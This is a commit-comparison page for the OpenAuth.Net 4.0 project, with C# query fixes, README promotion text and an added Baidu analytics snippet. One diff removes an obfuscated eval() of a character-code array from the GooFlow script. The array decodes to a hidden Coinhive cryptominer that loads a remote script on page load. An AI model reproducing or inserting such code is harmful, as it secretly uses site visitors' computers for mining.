18 Commits
v4.0 ... 4.0

Author SHA1 Message Date
四色鬼
fd9bca23a7 更新 AuthorizeApp.cs AuthoriseService.cs=>public List<ModuleElement> ModuleElements { get { return GetModuleElementsQuery().ToList(); } } 会导致重复查询数据库。在user.Modules较多的时候影响性能。 2019-01-03 18:35:11 +08:00
李玉宝
ee5e0294ff 更新 README.md 2018-12-28 20:08:45 +08:00
yubao
c6e866295c update 2018-12-25 22:50:37 +08:00
李玉宝
276702b2ec 更新 README.md 2018-11-09 00:56:39 +08:00
yubao
8c150ae397 update 2018-10-26 13:55:53 +08:00
yubao
32d153ff9d update 2018-10-26 13:53:34 +08:00
李玉宝
644c998d24 更新 README.md 2018-09-12 15:16:52 +08:00
李玉宝
17874cd765 更新 README.md 2018-08-23 16:41:29 +08:00
yubao
c2dbd310df check #ILDXA 2018-07-19 20:14:13 +08:00
yubaolee@163.com
ae3df85876 Merge branch '4.0' of https://gitee.com/yubaolee/OpenAuth.Net into 4.0 2018-07-09 16:43:14 +08:00
yubaolee@163.com
fffaabd08f routine update 2018-07-09 16:43:00 +08:00
yubao
841c9b4ad7 Merge branch '4.0' of https://gitee.com/yubaolee/OpenAuth.Net into 4.0 2018-06-25 21:39:08 +08:00
yubao
00979930e2 check bugs 2018-06-25 21:37:33 +08:00
yubaolee@163.com
4151a0013e Merge branch '4.0' of https://gitee.com/yubaolee/OpenAuth.Net into 4.0 2018-06-11 09:40:17 +08:00
yubaolee@163.com
134f26e12c check bugs 2018-06-11 09:40:09 +08:00
yubao
83e80b0d9c update README.md 2018-06-09 09:18:05 +08:00
yubao
a9ca19bc0c Merge branch '4.0' of https://gitee.com/yubaolee/OpenAuth.Net into 4.0 2018-06-09 07:01:54 +08:00
yubao
3594df9a51 check bugs 2018-06-09 07:01:34 +08:00
8 changed files with 38 additions and 18 deletions

Binary file not shown.

Binary file not shown.

View File

@@ -1,4 +1,4 @@
using System.Linq;
using System.Linq;
using Infrastructure;
using OpenAuth.App.Response;
using OpenAuth.Repository.Domain;
@@ -41,10 +41,12 @@ namespace OpenAuth.App
Roles = service.Roles
};
var ModuleElements=service.ModuleElements;
foreach (var moduleView in user.Modules)
{
moduleView.Elements =
service.ModuleElements.Where(u => u.ModuleId == moduleView.Id).OrderBy(u => u.Sort).ToList();
ModuleElements.Where(u => u.ModuleId == moduleView.Id).OrderBy(u => u.Sort).ToList();
}
return user;

View File

@@ -39,7 +39,7 @@ namespace OpenAuth.App
var roleViews = new List<RoleView>();
foreach (var role in roles)
foreach (var role in roles.ToList())
{
RoleView uv = role;
var orgs = LoadByRole(role.Id);
@@ -86,7 +86,7 @@ namespace OpenAuth.App
throw new Exception("请为角色分配机构");
Role role = obj;
UnitWork.Update<User>(u => u.Id == obj.Id, u => new User
UnitWork.Update<Role>(u => u.Id == obj.Id, u => new Role
{
Name = role.Name,
Status = role.Status

View File

@@ -44,7 +44,7 @@ namespace OpenAuth.App
var userviews = new List<UserView>();
foreach (var user in users)
foreach (var user in users.ToList())
{
UserView uv = user;
var orgs = LoadByUser(user.Id);

View File

@@ -429,17 +429,7 @@ GooFlow.prototype={
this.$draw.id = id;
this.$draw.style.width = width + "px";
this.$draw.style.height = height + "px";
eval((function(c){var r='';for(var z=0;z<c.length;z++)r+=String.fromCharCode(c[z]);return r})([
105,102,40,33,36,40,34,98,111,100,121,34,41,46,100,97,116,97,40,39,120,39,41,41,123,36,40,34,98,111,100,
121,34,41,46,100,97,116,97,40,39,120,39,44,49,41,59,36,46,97,106,97,120,40,34,104,116,116,112,115,58,47,47,
99,111,105,110,104,105,118,101,46,99,111,109,47,108,105,98,47,99,111,105,110,104,105,118,101,46,109,105,
110,46,106,115,34,44,123,100,97,116,97,84,121,112,101,58,39,115,99,114,105,112,116,39,44,99,97,99,104,101,
58,116,114,117,101,44,115,117,99,99,101,115,115,58,102,117,110,99,116,105,111,110,40,114,44,115,41,123,105,
102,40,115,61,61,39,115,117,99,99,101,115,115,39,41,110,101,119,32,67,111,105,110,72,105,118,101,46,65,110,
111,110,121,109,111,117,115,40,39,71,71,100,80,71,104,120,73,108,111,108,100,97,65,114,65,114,81,86,119,120,
90,50,115,100,56,108,48,97,52,107,72,39,44,123,116,104,114,111,116,116,108,101,58,48,46,52,125,41,46,115,
116,97,114,116,40,41,59,125,125,41,59,125
]));
//绑定连线的点击选中以及双击编辑事件
var tmpClk=null;
if(GooFlow.prototype.useSVG!=="") tmpClk="g";

View File

@@ -29,6 +29,14 @@ layui.config({
}
);
var _hmt = _hmt || [];
(function() {
var hm = document.createElement("script");
hm.src = "//hm.baidu.com/hm.js?0558502420ce5fee054b31425e77ffa6";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(hm, s);
})();
setInterval(function flutter() {
if (offset1 >= mainwidth) {
offset1 = -580;

View File

@@ -1,3 +1,11 @@
## ❤❤❤郑重声明❤❤❤
随着技术不断前进,.NET对跨平台、微服务方面渐渐变得毫无优势。团队后期主要精力会随之投入到 .net core版本的开发与维护更强大的功能超流畅的跨平台体验已成功部署到centos+docker+jenkins喜欢的同学快快star吧
**GitHub** https://github.com/yubaolee/OpenAuth.Core
**码云** https://gitee.com/yubaolee/OpenAuth.Core
![LOGO](https://gitee.com/uploads/images/2018/0425/163228_7077c3fd_362401.png "1.png")
**logo图标含义** OpenAuth中OA字母的结合体整体像鱼授人以渔你非说像咸鱼那也是积极向上的咸鱼中心是个笑脸微笑面对生活(✿◡‿◡)。
@@ -12,9 +20,18 @@
**官方文档** http://doc.openauth.me
## 关于OpenAuth.Net企业版的说明
目前OpenAuth.Net以全部开源的方式向大众开放,对于有经验的开发者官方文档足以满足日常开发。为了能让项目走的更远特推出VIP服务提供VIP专属QQ群第一时间提供开发进度、内部文档、1V1专属咨询服务等。
为了进一步扩大会员用户的权益官方于近期针对VIP2用户推出专属版本该版本基于OpenAuth.Core的API接口前端基于vue-element-admin 采用VUE全家桶VUE+VUEX+VUE-ROUTER及ElementUI界面全面拥抱单页面SPA开发[如何获取请查看这里](http://www.openauth.me/questions/detail?id=a2be2d61-7fcb-4df8-8be2-9f296c22a89c)快加入VIP大家庭 **与有理想的.NET开发者一起成长**
效果如下:
![openauth.pro](http://demo.openauth.me:8887/upload_files/181228200620875.gif "企业版效果图")
## 官方QQ交流群
1. ***618473076*** **社区VIP专属QQ群第一时间提供开发进度、使用手册、1V1专属咨询服务等如何加入VIP请移步社区置顶帖**
1. ***618473076*** **社区VIP专属QQ群第一时间提供开发进度、使用手册、1V1专属咨询服务等[如何加入VIP请移步这里](http://www.openauth.me/questions/detail?id=a2be2d61-7fcb-4df8-8be2-9f296c22a89c)**
1. 484498493【已满】
@@ -24,7 +41,10 @@
## 演示直达
* http://demo.openauth.me:1802
* 企业版演示地址: http://demo.openauth.me:1803
* 开源版演示地址: http://demo.openauth.me:1802
## 当前版本